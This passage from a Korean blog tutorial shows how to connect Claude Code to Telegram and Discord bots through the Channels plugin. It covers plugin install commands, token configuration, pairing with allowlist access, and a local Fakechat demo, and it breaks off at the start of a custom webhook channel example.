&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 50px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &quot;봇 이름?&quot; &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;My claude_code_bot&lt;span&gt;&amp;nbsp;&lt;/span&gt;(자유롭게)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 50px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &quot;봇 username?&quot; &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;my_claude_code_bot&lt;span&gt;&amp;nbsp;&lt;/span&gt;(반드시&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;bot&lt;/b&gt;으로 끝나야 함)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 30px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #28a745;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 5:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;토큰 발급 완료! (채팅으로 토큰이 표시됨)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-33-02.jpeg&quot; data-origin-width=&quot;864&quot; data-origin-height=&quot;1410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpHJJk%2FdJMcac2XQaq%2FXOjouKcyjVF3Mj5S25RbIk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;388&quot; height=&quot;633&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-33-02.jpeg&quot; data-origin-width=&quot;864&quot; data-origin-height=&quot;1410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2.&lt;/b&gt; Claude Code에서 플러그인을 설치한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Telegram 플러그인 설치
/plugin install telegram@claude-plugins-official

# &quot;plugin not found&quot; 오류가 나면 마켓플레이스를 추가/갱신 후 재시도
/plugin marketplace add anthropics/claude-plugins-official   # 마켓플레이스가 없는 경우
/plugin marketplace update claude-plugins-official           # 이미 있지만 오래된 경우

# claude code를 재기동 하자.

# BotFather에서 받은 토큰으로 설정
/telegram:configure &amp;lt;YOUR_BOT_TOKEN&amp;gt;

# 설치 후 반드시 실행 &amp;mdash; configure 커맨드를 활성화한다
/reload-plugins&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;/plugin&amp;nbsp;install&amp;nbsp;telegram@claude-plugins-official&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbmuMV/dJMcafeWR0h/P4tekuVSjMieYRLQEnXnX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbmuMV/dJMcafeWR0h/P4tekuVSjMieYRLQEnXnX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbmuMV/dJMcafeWR0h/P4tekuVSjMieYRLQEnXnX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbmuMV%2FdJMcafeWR0h%2FP4tekuVSjMieYRLQEnXnX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;496&quot; height=&quot;54&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이후 난 claude code 세션을 종료하고 다시 시작하였다.&amp;nbsp; 이후 다음 명령어로 설정&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;/telegram:configure&amp;nbsp;&amp;lt;YOUR_BOT_TOKEN&amp;gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vc2DZ/dJMcacoXmW8/CpWPh1EeKl9YtuBvTyEcS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vc2DZ/dJMcacoXmW8/CpWPh1EeKl9YtuBvTyEcS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vc2DZ/dJMcacoXmW8/CpWPh1EeKl9YtuBvTyEcS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvc2DZ%2FdJMcacoXmW8%2FCpWPh1EeKl9YtuBvTyEcS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;388&quot; height=&quot;166&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;380&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1682&quot; data-origin-height=&quot;762&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Sx9Sc/dJMcaaEG7GY/6hKINWBGZxkL9EDK3P9Yqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Sx9Sc/dJMcaaEG7GY/6hKINWBGZxkL9EDK3P9Yqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Sx9Sc/dJMcaaEG7GY/6hKINWBGZxkL9EDK3P9Yqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSx9Sc%2FdJMcaaEG7GY%2F6hKINWBGZxkL9EDK3P9Yqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1682&quot; height=&quot;762&quot; data-origin-width=&quot;1682&quot; data-origin-height=&quot;762&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3.&lt;/b&gt; Channels 플래그로 Claude Code를 시작한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;claude --channels plugin:telegram@claude-plugins-official&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXbQ92/dJMcagSqXYC/jhOvoyYkYJJ7qPp5Rw5UEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXbQ92/dJMcagSqXYC/jhOvoyYkYJJ7qPp5Rw5UEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXbQ92/dJMcagSqXYC/jhOvoyYkYJJ7qPp5Rw5UEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXbQ92%2FdJMcagSqXYC%2FjhOvoyYkYJJ7qPp5Rw5UEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1954&quot; height=&quot;490&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4.&lt;/b&gt; Telegram에서 봇에게 아무 메시지나 보내면 &lt;b&gt;페어링 코드&lt;/b&gt;가 발급된다. Claude Code에서 다음 커맨드로 연결을 완료하고, 즉시 allowlist 모드로 전환해 다른 사람의 접근을 차단한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 페어링 코드로 내 계정을 봇에 연결
/telegram:access pair &amp;lt;code&amp;gt;

# 보안: 즉시 allowlist 모드로 전환 (본인 외 접근 차단)
/telegram:access policy allowlist&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;팁: 파일 첨부 지원&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;텔레그램에서 Claude Code로 이미지를 보낼 수 있다 &amp;mdash; 모바일 앱 디버깅 중 스크린샷을 보내는 용도로 유용하다. 반대로 Claude도 파일을 텔레그램으로 보낼 수 있으며, 이미지는 인라인 렌더링, 기타 파일은 문서로 전송된다 (파일당 50MB 제한 &amp;mdash; Telegram Bot API 기준).&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /mybots &amp;gt; 여러가지 봇들중 방금 추가한 봇 클릭 &amp;gt; @방금만든봇 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1660&quot; data-origin-height=&quot;2006&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dCMYMT/dJMb996PUkT/rbOAHUTdlUKB6BT69v4oI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dCMYMT/dJMb996PUkT/rbOAHUTdlUKB6BT69v4oI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dCMYMT/dJMb996PUkT/rbOAHUTdlUKB6BT69v4oI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdCMYMT%2FdJMb996PUkT%2FrbOAHUTdlUKB6BT69v4oI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;379&quot; height=&quot;458&quot; data-origin-width=&quot;1660&quot; data-origin-height=&quot;2006&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- /start 입력 또는 클릭 &amp;gt; 아무말이나 걸면 pair 코드를 발급해 준다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;2018&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vFyO5/dJMcafMMiu5/SFVwIog3DWNgd7YDJPrFk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vFyO5/dJMcafMMiu5/SFVwIog3DWNgd7YDJPrFk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vFyO5/dJMcafMMiu5/SFVwIog3DWNgd7YDJPrFk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvFyO5%2FdJMcafMMiu5%2FSFVwIog3DWNgd7YDJPrFk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;384&quot; height=&quot;501&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;2018&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 상기 명령어를 그대로 복사하여 붙여넣으면 알아서 세팅을 진행한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0fJlY/dJMcadH7sKX/FeBSsfwUfRqbMV8mow7aK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0fJlY/dJMcadH7sKX/FeBSsfwUfRqbMV8mow7aK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0fJlY/dJMcadH7sKX/FeBSsfwUfRqbMV8mow7aK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0fJlY%2FdJMcadH7sKX%2FFeBSsfwUfRqbMV8mow7aK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;416&quot; height=&quot;189&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z6zdl/dJMcagdPH09/g6DpehOkASu3Dd1j4I4u21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z6zdl/dJMcagdPH09/g6DpehOkASu3Dd1j4I4u21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z6zdl/dJMcagdPH09/g6DpehOkASu3Dd1j4I4u21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz6zdl%2FdJMcagdPH09%2Fg6DpehOkASu3Dd1j4I4u21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;261&quot; height=&quot;87&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 페어링 완료. 바로 테스트 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 텔레그램에서 먼저 인사를 해보자. 방가 방가 / 답변이 오는것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1287&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhrcam/dJMcaakm8pU/OwiOeQzoHDjLP5hY9YGpB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhrcam/dJMcaakm8pU/OwiOeQzoHDjLP5hY9YGpB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhrcam/dJMcaakm8pU/OwiOeQzoHDjLP5hY9YGpB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhrcam%2FdJMcaakm8pU%2FOwiOeQzoHDjLP5hY9YGpB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;377&quot; height=&quot;449&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1287&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 내 PC의 claude code로 돌아가봐도 양쪽으로 메세지가 오가는 모습, 즉 연결된것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baWuHC/dJMcagEUIgK/csgzsKC3kKdnQyzRczCjd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baWuHC/dJMcagEUIgK/csgzsKC3kKdnQyzRczCjd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baWuHC/dJMcagEUIgK/csgzsKC3kKdnQyzRczCjd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaWuHC%2FdJMcagEUIgK%2FcsgzsKC3kKdnQyzRczCjd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1876&quot; height=&quot;254&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Discord 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1.&lt;/b&gt; &lt;a href=&quot;https://discord.com/developers/applications&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Discord Developer Portal&lt;/a&gt;에서 New Application 클릭. 이름 설정 후 Bot 메뉴에서 토큰 생성. &lt;b&gt;Privileged Gateway Intents&lt;/b&gt;에서 &lt;code&gt;Message Content Intent&lt;/code&gt;를 반드시 활성화한다 &amp;mdash; 이것 없이는 봇이 메시지 내용을 읽을 수 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2.&lt;/b&gt; OAuth2 &amp;gt; URL Generator에서 &lt;code&gt;bot&lt;/code&gt; 스코프를 선택하고 필요한 권한을 설정한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;View Channels, Send Messages, Send Messages in Threads&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Read Message History, Attach Files, Add Reactions&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;생성된 URL로 봇을 서버에 초대한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3.&lt;/b&gt; Claude Code에서 설치 및 설정:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Discord 플러그인 설치
/plugin install discord@claude-plugins-official

# &quot;plugin not found&quot; 오류가 나면 마켓플레이스를 추가/갱신 후 재시도
/plugin marketplace add anthropics/claude-plugins-official   # 마켓플레이스가 없는 경우
/plugin marketplace update claude-plugins-official           # 이미 있지만 오래된 경우

# 설치 후 반드시 실행 &amp;mdash; configure 커맨드를 활성화한다
/reload-plugins

# 봇 토큰 설정
/discord:configure &amp;lt;YOUR_BOT_TOKEN&amp;gt;

# Channels 플래그로 시작
claude --channels plugin:discord@claude-plugins-official&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4.&lt;/b&gt; Discord에서 봇에게 DM을 보내면 페어링 코드가 발급된다. Claude Code에서 다음 커맨드로 연결을 완료하고 즉시 allowlist 모드로 전환한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 페어링 코드로 내 계정을 봇에 연결
/discord:access pair &amp;lt;code&amp;gt;

# 보안: 즉시 allowlist 모드로 전환 (같은 서버의 다른 사용자 접근 차단)
/discord:access policy allowlist&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Fakechat으로 로컬 테스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;외부 서비스 없이 채널 아키텍처를 테스트하고 싶다면 &lt;b&gt;Fakechat&lt;/b&gt;을 사용한다. Anthropic이 공식 제공하는 localhost 데모 채널이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;groovy&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/plugin install fakechat@claude-plugins-official
claude --channels plugin:fakechat@claude-plugins-official&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;브라우저에서 &lt;code&gt;http://localhost:8787&lt;/code&gt;에 채팅 UI가 열린다. 메시지를 입력하면 Claude Code 세션에 도착하고, Claude가 응답하면 브라우저에 표시된다. 인증도, 외부 서비스도, API 키도 필요 없다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;추천: Fakechat으로 먼저 이해하기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이벤트 흐름을 이해한 뒤에 Telegram이나 Discord로 전환하는 것을 권장한다. Fakechat으로 &amp;lt;channel&amp;gt; 태그가 어떻게 생성되고, reply tool이 어떻게 동작하는지 먼저 체험할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://dev.to/ji_ai/claude-code-channels-how-anthropic-built-a-two-way-bridge-between-telegram-and-your-terminal-2dpn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to - Claude Code Channels: How Anthropic Built a Two-Way Bridge&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 커스텀 채널 만들기 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 커스텀 채널 만들기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels의 유용한 점은 &lt;b&gt;직접 채널을 만들 수 있다&lt;/b&gt;는 점에 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CI 파이프라인, 모니터링 시스템, 커스텀 Webhook 등을 Claude Code 세션에 연결할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Webhook Receiver 예제&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서의 예제를 기반으로, HTTP POST를 받아 Claude Code 세션에 전달하는 최소 채널 서버를 만들어 본다. 먼저 프로젝트를 세팅한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;mkdir webhook-channel &amp;amp;&amp;amp; cd webhook-channel
